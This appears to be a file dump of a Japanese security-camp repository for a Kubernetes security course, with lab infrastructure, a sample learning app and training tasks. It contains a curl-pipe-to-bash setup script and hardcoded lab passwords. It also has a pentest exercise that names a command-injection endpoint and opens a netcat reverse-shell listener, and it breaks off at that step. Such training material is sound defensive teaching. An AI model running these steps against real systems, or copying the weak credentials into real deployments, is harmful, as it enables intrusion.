├── 00_setup
├── aws
│ ├── .tool-versions
│ ├── provider.tf
│ ├── locals.tf
│ ├── environments
│ │ └── prd
│ │ │ ├── userdata-slim.bash
│ │ │ └── main.tf
│ ├── terraform.tf
│ ├── vpc.tf
│ ├── variables.tf
│ ├── iam.tf
│ └── ec2.tf
├── k8s
│ ├── helm
│ │ ├── values
│ │ │ ├── metrics-server.values.yaml
│ │ │ ├── tetragon.values.yaml
│ │ │ ├── cert-manager.values.yaml
│ │ │ ├── harbor.values.yaml
│ │ │ ├── ingress-nginx.values.yaml
│ │ │ ├── promtail.values.yaml
│ │ │ ├── openclarity.values.yaml
│ │ │ ├── argocd.values.yaml
│ │ │ ├── grafana.values.yaml
│ │ │ ├── loki.values.yaml
│ │ │ ├── cilium.values.yaml
│ │ │ ├── vault.values.yaml
│ │ │ ├── external-secrets.values.yaml
│ │ │ ├── keycloak.values.yaml
│ │ │ ├── gitlab.values.yaml
│ │ │ └── k8s-event-exporter.values.yaml
│ │ ├── README.md
│ │ └── helmfile.yaml
│ ├── kind
│ │ ├── audit-policy.yaml
│ │ └── kind-config.yaml
│ └── manifests
│ │ ├── hubble-ingress.yaml
│ │ └── selfsigned-clusterissuer.yaml
├── images
│ ├── gitlab
│ │ ├── new_tag.png
│ │ ├── projects.png
│ │ ├── create_group.png
│ │ └── turn_off_auto_devops.png
│ └── harbor
│ │ ├── new_user.png
│ │ ├── new_project.png
│ │ └── add_user_to_project.png
├── scripts
│ └── kind-load-certfile.sh
├── README.md
├── operation.md
└── vault_eso_tutorial.md
├── 03_security_assessment
├── dfd.md
├── DFD_muhai.png
├── training.md
├── threat_lits.md
└── README.md
├── 01_scenario
├── images
│ └── muhai.png
├── training.md
└── README.md
├── app
├── frontend
│ ├── README.md
│ ├── Dockerfile.dev
│ ├── src
│ │ ├── index.tsx
│ │ └── App.tsx
│ ├── public
│ │ └── index.html
│ ├── Dockerfile
│ ├── tsconfig.json
│ ├── package.json
│ └── .gitlab-ci.yml
├── package.json
├── .gitignore
├── backend
│ ├── Dockerfile
│ ├── Dockerfile.dev
│ ├── wait-for-it.sh
│ ├── .gitlab-ci.yml
│ ├── go.mod
│ ├── go.sum
│ └── main.go
├── README.md
├── infra
│ └── manifests
│ │ ├── services.yaml
│ │ ├── frontend-deployment.yaml
│ │ ├── ingress.yaml
│ │ ├── backend-deployment.yaml
│ │ └── db-deployment.yaml
├── docker-compose.yml
├── package-lock.json
└── db
│ ├── init.sql
│ └── init-english.sql
├── 04_hardening
├── trainings
│ ├── secret_management.md
│ ├── auth.md
│ ├── incident_response.md
│ ├── kspm.md
│ ├── pentest.md
│ ├── ransomware.md
│ ├── runtime_security.md
│ ├── networkpolicy.md
│ ├── admission_control.md
│ └── image_security.md
├── training.md
└── README.md
├── .gitignore
├── README.md
├── LICENSE
└── 02_cloud_native_sec
└── training.md
/00_setup/aws/.tool-versions:
--------------------------------------------------------------------------------
1 | terraform 1.12.2
2 |
--------------------------------------------------------------------------------
/00_setup/aws/provider.tf:
--------------------------------------------------------------------------------
1 | provider "aws" {
2 | region = var.region
3 | }
4 |
--------------------------------------------------------------------------------
/03_security_assessment/dfd.md:
--------------------------------------------------------------------------------
1 | # 参考: 無敗塾のデータフロー図
2 |
3 | 
4 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/metrics-server.values.yaml:
--------------------------------------------------------------------------------
1 | args:
2 | - --kubelet-insecure-tls
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/tetragon.values.yaml:
--------------------------------------------------------------------------------
1 | tetragon:
2 | hostProcPath: "/procHost"
3 |
--------------------------------------------------------------------------------
/00_setup/aws/locals.tf:
--------------------------------------------------------------------------------
1 | locals {
2 | tags = {
3 | Environment = var.env
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Installation
3 |
4 | ```bash
5 | helmfile sync -f helmfile.yaml
6 | ```
7 |
--------------------------------------------------------------------------------
/00_setup/k8s/kind/audit-policy.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: audit.k8s.io/v1
2 | kind: Policy
3 | rules:
4 | - level: Metadata
5 |
--------------------------------------------------------------------------------
/01_scenario/images/muhai.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/01_scenario/images/muhai.png
--------------------------------------------------------------------------------
/00_setup/images/gitlab/new_tag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/new_tag.png
--------------------------------------------------------------------------------
/00_setup/images/gitlab/projects.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/projects.png
--------------------------------------------------------------------------------
/00_setup/images/harbor/new_user.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/harbor/new_user.png
--------------------------------------------------------------------------------
/03_security_assessment/DFD_muhai.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/03_security_assessment/DFD_muhai.png
--------------------------------------------------------------------------------
/00_setup/images/gitlab/create_group.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/create_group.png
--------------------------------------------------------------------------------
/00_setup/images/harbor/new_project.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/harbor/new_project.png
--------------------------------------------------------------------------------
/00_setup/images/gitlab/turn_off_auto_devops.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/gitlab/turn_off_auto_devops.png
--------------------------------------------------------------------------------
/00_setup/images/harbor/add_user_to_project.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/HEAD/00_setup/images/harbor/add_user_to_project.png
--------------------------------------------------------------------------------
/app/frontend/README.md:
--------------------------------------------------------------------------------
1 | # Frontend (React)
2 |
3 | このディレクトリは、オンライン学習サービスのReactフロントエンドです。
4 |
5 | - ユーザー認証
6 | - コース一覧表示
7 | - 学習進捗管理
8 | - 管理画面(教材登録)
9 |
--------------------------------------------------------------------------------
/app/frontend/Dockerfile.dev:
--------------------------------------------------------------------------------
1 | FROM node:20-slim
2 | WORKDIR /app
3 | COPY package.json ./
4 | RUN npm install
5 | COPY . .
6 | EXPOSE 3000
7 | CMD ["npm", "start"]
8 |
--------------------------------------------------------------------------------
/00_setup/aws/environments/prd/userdata-slim.bash:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | curl -L https://raw.githubusercontent.com/kyohmizu/seccamp2025-B4/refs/heads/main/00_setup/scripts/userdata.bash | bash
3 |
--------------------------------------------------------------------------------
/00_setup/aws/terraform.tf:
--------------------------------------------------------------------------------
1 | terraform {
2 | required_version = ">= 1.12.2"
3 |
4 | required_providers {
5 | aws = {
6 | source = "hashicorp/aws"
7 | version = ">= 6.2"
8 | }
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "react": "^19.1.0",
4 | "react-dom": "^19.1.0"
5 | },
6 | "devDependencies": {
7 | "@types/react": "^19.1.8",
8 | "@types/react-dom": "^19.1.6"
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/app/.gitignore:
--------------------------------------------------------------------------------
1 | # Crash log files
2 | crash.log
3 | crash.*.log
4 |
5 | # Application
6 | **/node_modules/
7 | backend/backend
8 | frontend/*.tsbuildinfo
9 |
10 | # Others
11 | .DS_Store
12 | *.log
13 | *.cache
14 | *.db
15 | .env
16 |
--------------------------------------------------------------------------------
/app/backend/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS build
2 | WORKDIR /app
3 | COPY go.mod go.sum ./
4 | RUN go mod download
5 | COPY main.go ./
6 | RUN go build -o backend main.go
7 |
8 | FROM alpine:3.16
9 | WORKDIR /app
10 | COPY --from=build /app/backend ./backend
11 | EXPOSE 8000
12 | CMD ["./backend"]
13 |
--------------------------------------------------------------------------------
/app/frontend/src/index.tsx:
--------------------------------------------------------------------------------
1 | import React from "react";
2 | import ReactDOM from "react-dom/client";
3 | import App from "./App";
4 |
5 | const root = ReactDOM.createRoot(document.getElementById("root") as HTMLElement);
6 | root.render(
7 |
8 |
9 |
10 | );
11 |
--------------------------------------------------------------------------------
/app/frontend/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | 無敗塾 オンライン学習サービス
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/app/frontend/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:20-slim AS build
2 | WORKDIR /app
3 | COPY package.json tsconfig.json ./
4 | COPY public ./public
5 | COPY src ./src
6 | RUN npm install && npm run build
7 |
8 | FROM nginx:1.20-alpine
9 | COPY --from=build /app/build /usr/share/nginx/html
10 | EXPOSE 80
11 | CMD ["nginx", "-g", "daemon off;"]
12 |
--------------------------------------------------------------------------------
/00_setup/aws/vpc.tf:
--------------------------------------------------------------------------------
1 | module "vpc" {
2 | source = "terraform-aws-modules/vpc/aws"
3 | version = "~> 5.0"
4 |
5 | name = "vpc-${var.env}"
6 | cidr = var.vpc_cidr
7 |
8 | azs = ["${var.region}a"]
9 | public_subnets = [var.vpc_subnet]
10 |
11 | map_public_ip_on_launch = true
12 |
13 | tags = local.tags
14 | }
15 |
--------------------------------------------------------------------------------
/app/backend/Dockerfile.dev:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS build
2 | WORKDIR /app
3 | COPY main.go ./
4 | RUN go mod init backend && go mod tidy && go build -o backend main.go
5 |
6 | FROM alpine:3.16
7 | WORKDIR /app
8 | COPY --from=build /app/backend ./backend
9 | COPY wait-for-it.sh ./wait-for-it.sh
10 | EXPOSE 8000
11 | CMD ["./backend"]
12 |
--------------------------------------------------------------------------------
/app/backend/wait-for-it.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | # wait-for-it.sh: Wait until a host:port is available
3 | # Usage: wait-for-it.sh host:port -- command args
4 |
5 | HOSTPORT="$1"
6 | shift
7 |
8 | HOST=$(echo $HOSTPORT | cut -d: -f1)
9 | PORT=$(echo $HOSTPORT | cut -d: -f2)
10 |
11 | while :
12 | do
13 | nc -z "$HOST" "$PORT" && break
14 | echo "Waiting for $HOST:$PORT..."
15 | sleep 1
16 | done
17 | exec "$@"
18 |
--------------------------------------------------------------------------------
/04_hardening/trainings/secret_management.md:
--------------------------------------------------------------------------------
1 | # シークレット管理
2 |
3 | ## 課題1: HashiCorp Vaultの導入
4 |
5 | ### ステップ
6 | 1. HashiCorp Vaultをクラスタにインストールし、初期設定を実施してください
7 | 2. **[発展]** 適切な権限ポリシーを設定し、最小権限の原則を適用してください
8 |
9 | ## 課題2: External Secrets Operatorの導入
10 |
11 | ### ステップ
12 | 1. External Secrets Operatorをクラスタにインストールしてください
13 | 2. VaultからKubernetes Secretsへの同期を設定してください
14 | 3. アプリケーションのマニフェストを修正し、Vaultから取得されるシークレットを使用するようにしてください
15 | 4. **[発展]** シークレットのローテーションを検討してください
16 |
17 | ヒント: [Vault初期化とExternal Secrets設定例](../../00_setup/vault_eso_tutorial.md)
18 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/cert-manager.values.yaml:
--------------------------------------------------------------------------------
1 | global:
2 | rbac:
3 | create: true
4 |
5 | crds:
6 | enabled: true
7 |
8 | resources:
9 | requests:
10 | cpu: 30m
11 | memory: 64Mi
12 | limits:
13 | memory: 64Mi
14 |
15 | webhook:
16 | resources:
17 | requests:
18 | cpu: 20m
19 | memory: 80Mi
20 | limits:
21 | memory: 100Mi
22 |
23 | cainjector:
24 | enabled: true
25 | resources:
26 | requests:
27 | cpu: 20m
28 | memory: 80Mi
29 | limits:
30 | memory: 100Mi
31 |
32 | replicaCount: 1
33 |
--------------------------------------------------------------------------------
/app/frontend/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es6",
4 | "lib": ["dom", "dom.iterable", "esnext"],
5 | "allowJs": true,
6 | "skipLibCheck": true,
7 | "esModuleInterop": true,
8 | "allowSyntheticDefaultImports": true,
9 | "strict": true,
10 | "forceConsistentCasingInFileNames": true,
11 | "noFallthroughCasesInSwitch": true,
12 | "module": "esnext",
13 | "moduleResolution": "node",
14 | "resolveJsonModule": true,
15 | "isolatedModules": true,
16 | "noEmit": true,
17 | "jsx": "react-jsx"
18 | },
19 | "include": ["src"]
20 | }
21 |
--------------------------------------------------------------------------------
/app/README.md:
--------------------------------------------------------------------------------
1 | # オンライン学習サービス サンプルアプリケーション
2 |
3 | このディレクトリは、Kubernetes上で動作するオンライン学習サービスのサンプルWebアプリケーションです。
4 |
5 | ## 構成
6 | - バックエンド: Python (FastAPI)
7 | - フロントエンド: React (TypeScript)
8 | - データベース: MariaDB
9 | - 認証: JWTベース
10 | - CI/CD: GitHub Actions
11 | - デプロイ: Kubernetesマニフェスト/Helmチャート
12 |
13 | ## サービス機能
14 | - ユーザー登録・ログイン
15 | - コース一覧・詳細表示
16 | - 学習進捗管理
17 | - 管理者による教材登録
18 | - APIエンドポイント(REST)
19 | - 管理画面(管理者用UI)
20 |
21 | ## ディレクトリ構成
22 | - backend/ ... FastAPI サーバー
23 | - frontend/ ... React UI
24 | - manifests/ ... Kubernetes用マニフェスト
25 | - db/ ... MariaDB用初期化SQL等
26 | - .github/ ... CI/CDワークフロー
27 |
--------------------------------------------------------------------------------
/04_hardening/trainings/auth.md:
--------------------------------------------------------------------------------
1 | # 認証・認可
2 |
3 | ## 課題1: OpenID Connect (OIDC) 認証の実装
4 |
5 | 現在のクラスタアクセスは管理が困難で、セキュリティリスクが高い状態です。OIDCプロバイダーを使用した統一的な認証システムを導入します。
6 |
7 | ### ステップ
8 | 1. 認証プロバイダをクラスタに導入してください
9 | 2. kubectl の設定を更新し、OIDC認証でクラスタにアクセスできるようにしてください
10 | 3. gitlabやharborなどの認証をOIDC経由に変更してください
11 |
12 | ## 課題2: 細やかなRBAC設計
13 |
14 | 最小権限の原則に基づいて、各ユーザーとアプリケーションに必要最小限の権限のみを付与する詳細なRBAC設計を行います。
15 |
16 | ### ステップ
17 | 1. 組織の役割に基づいたRole定義を作成してください:
18 | - 開発者用Role(開発環境へのアクセス権限)
19 | - 運用担当者用Role(本番環境でのメンテナンス権限)
20 | - 監査担当者用Role(読み取り専用権限)
21 | 2. 名前空間レベルでの権限分離を実装してください
22 | 3. **[発展]** 緊急時の管理者アクセス手順を検討してください
23 |
--------------------------------------------------------------------------------
/00_setup/k8s/manifests/hubble-ingress.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: networking.k8s.io/v1
2 | kind: Ingress
3 | metadata:
4 | name: hubble-ingress
5 | namespace: kube-system
6 | annotations:
7 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
8 | cert-manager.io/cluster-issuer: "root-ca-issuer"
9 | spec:
10 | tls:
11 | - hosts:
12 | - hubble.seccamp.com
13 | secretName: hubble-tls
14 | rules:
15 | - host: hubble.seccamp.com
16 | http:
17 | paths:
18 | - path: /
19 | pathType: Prefix
20 | backend:
21 | service:
22 | name: hubble-ui
23 | port:
24 | number: 80
25 |
--------------------------------------------------------------------------------
/00_setup/aws/variables.tf:
--------------------------------------------------------------------------------
1 | variable "instance_name" {
2 | type = string
3 | }
4 |
5 | variable "env" {
6 | type = string
7 | }
8 |
9 | variable "region" {
10 | type = string
11 | default = "ap-northeast-1"
12 | }
13 |
14 | variable "instances" {
15 | type = map(map(any))
16 | }
17 |
18 | variable "ami" {
19 | type = string
20 | default = "ami-067f9151a94af1e4f"
21 | }
22 |
23 | variable "user_data" {
24 | type = string
25 | default = ""
26 | }
27 |
28 | variable "vpc_cidr" {
29 | type = string
30 | default = "10.99.0.0/18"
31 | }
32 |
33 | variable "vpc_subnet" {
34 | type = string
35 | default = "10.99.0.0/24"
36 | }
37 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/harbor.values.yaml:
--------------------------------------------------------------------------------
1 | expose:
2 | type: ingress
3 | tls:
4 | enabled: true
5 | certSource: secret
6 | secret:
7 | secretName: harbor-tls
8 | ingress:
9 | hosts:
10 | core: harbor.seccamp.com
11 | controller: default
12 | className: nginx
13 | annotations:
14 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
15 | nginx.ingress.kubernetes.io/proxy-body-size: "0"
16 | cert-manager.io/cluster-issuer: "root-ca-issuer"
17 | externalURL: https://harbor.seccamp.com
18 | harborAdminPassword: "harboradminpassword"
19 | database:
20 | type: internal
21 | persistence:
22 | enabled: true
23 |
--------------------------------------------------------------------------------
/04_hardening/trainings/incident_response.md:
--------------------------------------------------------------------------------
1 | # インシデント対応
2 |
3 | ## 課題1: 不審なPodの発見と初期対応
4 |
5 | 監視システムから「未承認のPodがクラスタに作成されている」という報告を受けました。直ちに調査と初期対応を行う必要があります。
6 |
7 | ### ステップ
8 | 1. クラスタ内を調査し、不審なPodを特定してください
9 | 2. 不審なPodの情報を収集してください:
10 | - 作成日時と作成者
11 | - 使用しているイメージとタグ
12 | - 実行中のプロセス
13 | 3. 攻撃の侵入経路(初期アクセス)を特定してください
14 | 4. インシデントの影響範囲を評価してください
15 | 5. 適切な初期封じ込め措置を実施してください
16 | 6. **[発展]** 再発防止策を検討してください
17 |
18 | ヒント: インシデントの原因と対応方法
19 |
20 | パブリックなコードリポジトリにKubeconfigファイルが誤ってコミットされ、認証情報が漏洩した可能性があります。
21 | - 漏洩した認証情報でアクセス可能なリソースの調査
22 | - 漏洩した認証情報の無効化
23 |
24 | Kubernetes の監査ログをGrafanaから確認してみましょう。
25 |
26 |
27 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/ingress-nginx.values.yaml:
--------------------------------------------------------------------------------
1 | controller:
2 | config:
3 | use-forwarded-headers: "true"
4 | metrics:
5 | enabled: true
6 | nodeSelector:
7 | kubernetes.io/hostname: kind-control-plane
8 | tolerations:
9 | - effect: NoSchedule
10 | key: node-role.kubernetes.io/control-plane
11 | operator: Exists
12 | ingressClassResource:
13 | default: true
14 | admissionWebhooks:
15 | enabled: false
16 | service:
17 | type: NodePort
18 | ports:
19 | http: 80
20 | https: 443
21 | nodePorts:
22 | http: 30080
23 | https: 30443
24 | targetPorts:
25 | http: http
26 | https: https
27 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/promtail.values.yaml:
--------------------------------------------------------------------------------
1 | nodeSelector:
2 | kubernetes.io/hostname: kind-control-plane
3 |
4 | config:
5 | clients:
6 | - url: http://loki-gateway/loki/api/v1/push
7 |
8 | snippets:
9 | scrapeConfigs: |
10 | - job_name: audit-logs
11 | static_configs:
12 | - targets:
13 | - localhost
14 | labels:
15 | job: audit-logs
16 | __path__: /var/log/kubernetes/**/*.log
17 |
18 | extraVolumes:
19 | - name: kubernetes
20 | hostPath:
21 | path: /var/log/kubernetes
22 |
23 | extraVolumeMounts:
24 | - name: kubernetes
25 | mountPath: /var/log/kubernetes
26 | readOnly: true
27 |
--------------------------------------------------------------------------------
/00_setup/aws/iam.tf:
--------------------------------------------------------------------------------
1 | data "aws_iam_policy_document" "ssm_role" {
2 | statement {
3 | actions = ["sts:AssumeRole"]
4 | principals {
5 | type = "Service"
6 | identifiers = ["ec2.amazonaws.com"]
7 | }
8 | }
9 | }
10 |
11 | resource "aws_iam_instance_profile" "ssm_role" {
12 | name = "EC2RoleforSSM"
13 | role = aws_iam_role.ssm_role.name
14 | }
15 |
16 | resource "aws_iam_role" "ssm_role" {
17 | name = "EC2RoleforSSM"
18 | assume_role_policy = data.aws_iam_policy_document.ssm_role.json
19 | }
20 |
21 | resource "aws_iam_role_policy_attachment" "ssm_role" {
22 | role = aws_iam_role.ssm_role.name
23 | policy_arn = "arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore"
24 | }
25 |
--------------------------------------------------------------------------------
/00_setup/k8s/manifests/selfsigned-clusterissuer.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: cert-manager.io/v1
2 | kind: ClusterIssuer
3 | metadata:
4 | name: root-ca-issuer-selfsigned
5 | spec:
6 | selfSigned: {}
7 | ---
8 | apiVersion: cert-manager.io/v1
9 | kind: Certificate
10 | metadata:
11 | name: root-ca
12 | namespace: cert-manager
13 | spec:
14 | isCA: true
15 | commonName: seccamp.com
16 | secretName: root-ca-secret
17 | privateKey:
18 | algorithm: ECDSA
19 | size: 256
20 | issuerRef:
21 | name: root-ca-issuer-selfsigned
22 | kind: ClusterIssuer
23 | group: cert-manager.io
24 | ---
25 | apiVersion: cert-manager.io/v1
26 | kind: ClusterIssuer
27 | metadata:
28 | name: root-ca-issuer
29 | spec:
30 | ca:
31 | secretName: root-ca-secret
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/openclarity.values.yaml:
--------------------------------------------------------------------------------
1 | orchestrator:
2 | provider: kubernetes
3 | serviceAccount:
4 | automountServiceAccountToken: true
5 |
6 | gateway:
7 | ingress:
8 | enabled: true
9 | annotations:
10 | nginx.ingress.kubernetes.io/proxy-buffer-size: "8k"
11 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
12 | cert-manager.io/cluster-issuer: "root-ca-issuer"
13 | ingressClassName: nginx
14 | hosts:
15 | - host: openclarity.seccamp.com
16 | paths:
17 | - pathType: Prefix
18 | path: /
19 | tls:
20 | - secretName: openclarity-tls
21 | hosts:
22 | - openclarity.seccamp.com
23 |
24 | postgresql:
25 | auth:
26 | username: openclarity
27 | password: ocpostgresqlpassword
28 |
--------------------------------------------------------------------------------
/04_hardening/trainings/kspm.md:
--------------------------------------------------------------------------------
1 | # Kubernetesセキュリティポスチャー管理(KSPM)
2 |
3 | ## 課題1: 現在のセキュリティポスチャーの評価
4 |
5 | セキュリティ対策を適切に実装するためには、まず現在のクラスタのセキュリティ状況を正確に把握する必要があります。
6 |
7 | ### ステップ
8 | 1. `trivy k8s`を使用してクラスタ全体のセキュリティスキャンを実行してください
9 | 2. CISベンチマーク違反項目を特定してください
10 | 3. 各問題の潜在的なリスクと影響範囲を評価してください
11 | 4. **[発展]** trivy 以外のスキャンツールを使い、機能や検出項目を比較してみましょう
12 |
13 | スキャンツール例:
14 | - https://github.com/krishpyishere/k8ssecurity
15 |
16 | ## 課題2: 高優先度のセキュリティ問題の修正
17 |
18 | Critical および High レベルのセキュリティ問題には、迅速な対応が必要です。
19 |
20 | ### ステップ
21 | 1. 検出された Critical/High レベルの問題を修正してください
22 | 2. 修正前後でのスキャン結果を比較してください
23 | 3. 修正によるアプリケーションへの影響を検証してください
24 |
25 | ## 課題3: 継続的なコンプライアンス監視
26 |
27 | セキュリティポスチャーは時間とともに変化するため、継続的な監視と評価が必要です。
28 |
29 | ### ステップ
30 | 1. 定期的なセキュリティスキャンを自動化してください
31 | 2. コンプライアンス違反を検出するアラートシステムを構築してください
32 |
--------------------------------------------------------------------------------
/app/infra/manifests/services.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: v1
2 | kind: Service
3 | metadata:
4 | name: backend
5 | namespace: seccamp-app
6 | spec:
7 | selector:
8 | app: backend
9 | ports:
10 | - protocol: TCP
11 | port: 8000
12 | targetPort: 8000
13 | type: ClusterIP
14 | ---
15 | apiVersion: v1
16 | kind: Service
17 | metadata:
18 | name: frontend
19 | namespace: seccamp-app
20 | spec:
21 | selector:
22 | app: frontend
23 | ports:
24 | - protocol: TCP
25 | port: 80
26 | targetPort: 80
27 | type: ClusterIP
28 | ---
29 | apiVersion: v1
30 | kind: Service
31 | metadata:
32 | name: db
33 | namespace: seccamp-app
34 | spec:
35 | selector:
36 | app: db
37 | ports:
38 | - protocol: TCP
39 | port: 3306
40 | targetPort: 3306
41 | type: ClusterIP
42 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/argocd.values.yaml:
--------------------------------------------------------------------------------
1 | global:
2 | domain: argocd.seccamp.com
3 | server:
4 | service:
5 | type: ClusterIP
6 | ingress:
7 | annotations:
8 | nginx.ingress.kubernetes.io/connection-proxy-header: "keep-alive"
9 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
10 | cert-manager.io/cluster-issuer: "root-ca-issuer"
11 | enabled: true
12 | hostname: argocd.seccamp.com
13 | ingressClassName: nginx
14 | path: /
15 | tls: true
16 | extraTls:
17 | - hosts:
18 | - argocd.seccamp.com
19 | secretName: argocd-tls
20 | certificate:
21 | enabled: false
22 | controller:
23 | replicas: 1
24 | repoServer:
25 | replicas: 1
26 | applicationSet:
27 | enabled: true
28 | configs:
29 | cm:
30 | admin.enabled: true
31 | params:
32 | server.insecure: "true"
33 |
--------------------------------------------------------------------------------
/app/infra/manifests/frontend-deployment.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: apps/v1
2 | kind: Deployment
3 | metadata:
4 | name: frontend
5 | namespace: seccamp-app
6 | spec:
7 | replicas: 1
8 | selector:
9 | matchLabels:
10 | app: frontend
11 | template:
12 | metadata:
13 | labels:
14 | app: frontend
15 | spec:
16 | containers:
17 | - name: frontend
18 | image: harbor.seccamp.com/seccamp2025/seccamp-frontend:v1.0
19 | imagePullPolicy: Always
20 | workingDir: /app
21 | ports:
22 | - containerPort: 3000
23 | env:
24 | - name: NODE_ENV
25 | value: "production"
26 | volumeMounts:
27 | - name: app-src
28 | mountPath: /app
29 | imagePullSecrets:
30 | - name: harbor-cred
31 | volumes:
32 | - name: app-src
33 | emptyDir: {}
--------------------------------------------------------------------------------
/app/frontend/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "seccamp2025-frontend",
3 | "version": "0.1.0",
4 | "private": true,
5 | "dependencies": {
6 | "@emotion/react": "^11.14.0",
7 | "@emotion/styled": "^11.14.1",
8 | "@mui/icons-material": "^7.2.0",
9 | "@mui/material": "^7.2.0",
10 | "axios": "^1.6.0",
11 | "react": "^18.2.0",
12 | "react-dom": "^18.2.0"
13 | },
14 | "devDependencies": {
15 | "@types/react": "^18.2.55",
16 | "@types/react-dom": "^18.2.19",
17 | "react-scripts": "^5.0.1",
18 | "typescript": "4.9.5"
19 | },
20 | "scripts": {
21 | "start": "react-scripts start",
22 | "build": "react-scripts build"
23 | },
24 | "browserslist": {
25 | "production": [
26 | ">0.2%",
27 | "not dead",
28 | "not op_mini all"
29 | ],
30 | "development": [
31 | "last 1 chrome version",
32 | "last 1 firefox version",
33 | "last 1 safari version"
34 | ]
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/grafana.values.yaml:
--------------------------------------------------------------------------------
1 | resources:
2 | requests:
3 | cpu: 100m
4 | memory: 128Mi
5 | limits:
6 | memory: 128Mi
7 |
8 | deploymentStrategy:
9 | type: Recreate
10 |
11 | persistence:
12 | type: pvc
13 | enabled: true
14 | size: 3Gi
15 |
16 | grafana.ini:
17 | server:
18 | root_url: https://grafana.seccamp.com/
19 |
20 | ingress:
21 | enabled: true
22 | ingressClassName: nginx
23 | annotations:
24 | nginx.ingress.kubernetes.io/proxy-body-size: "0"
25 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
26 | cert-manager.io/cluster-issuer: "root-ca-issuer"
27 | path: /
28 | pathType: Prefix
29 | hosts:
30 | - grafana.seccamp.com
31 | tls:
32 | - secretName: grafana-tls
33 | hosts:
34 | - grafana.seccamp.com
35 |
36 | initChownData:
37 | enabled: false
38 |
39 | datasources:
40 | datasources.yaml:
41 | apiVersion: 1
42 | datasources:
43 | - name: Loki
44 | type: loki
45 | url: http://loki:3100
46 |
--------------------------------------------------------------------------------
/00_setup/k8s/helm/values/loki.values.yaml:
--------------------------------------------------------------------------------
1 | deploymentMode: SingleBinary
2 | loki:
3 | commonConfig:
4 | replication_factor: 1
5 | storage:
6 | type: 'filesystem'
7 | schemaConfig:
8 | configs:
9 | - from: "2024-01-01"
10 | store: tsdb
11 | index:
12 | prefix: loki_index_
13 | period: 24h
14 | object_store: filesystem
15 | schema: v13
16 | auth_enabled: false
17 |
18 | singleBinary:
19 | replicas: 1
20 | read:
21 | replicas: 0
22 | backend:
23 | replicas: 0
24 | write:
25 | replicas: 0
26 |
27 | resultsCache:
28 | enabled: false
29 | chunksCache:
30 | enabled: false
31 |
32 | ingress:
33 | enabled: true
34 | ingressClassName: nginx
35 | annotations:
36 | nginx.ingress.kubernetes.io/proxy-body-size: "0"
37 | nginx.ingress.kubernetes.io/ssl-redirect: "true"
38 | cert-manager.io/cluster-issuer: "root-ca-issuer"
39 | hosts:
40 | - loki.seccamp.com
41 | tls:
42 | - hosts:
43 | - loki.seccamp.com
44 | secretName: loki-tls
45 |
--------------------------------------------------------------------------------
/04_hardening/trainings/pentest.md:
--------------------------------------------------------------------------------
1 | # 簡易ペネトレーションテスト
2 |
3 | ## 課題1: シナリオに沿った攻撃演習
4 |
5 | アプリケーションには脆弱なエンドポイントがあります。脆弱性を利用してクラスタ内に侵入し、権限昇格や横展開を試してみましょう。
6 |
7 | 参考: [seccamp2024-B6 - 攻撃シナリオ](https://github.com/kyohmizu/seccamp2024-B6/blob/master/ch03_attacking_k8s/attack_scenario.md)
8 |
9 | ### ステップ
10 | 1. OSコマンドインジェクションでクラスタ内に侵入し、権限昇格や横展開を駆使してadmin権限を掌握します
11 |
12 | 初期侵入のリクエスト
13 |
14 | `/api/admin/info` にOSコマンドインジェクションの脆弱性があります。
15 |
16 | ターミナルを2画面用意し、リバースシェルを使って侵入します。
17 |
18 | ```bash
19 | # ターミナル1
20 | nc -l 4444
21 |
22 | # ターミナル2
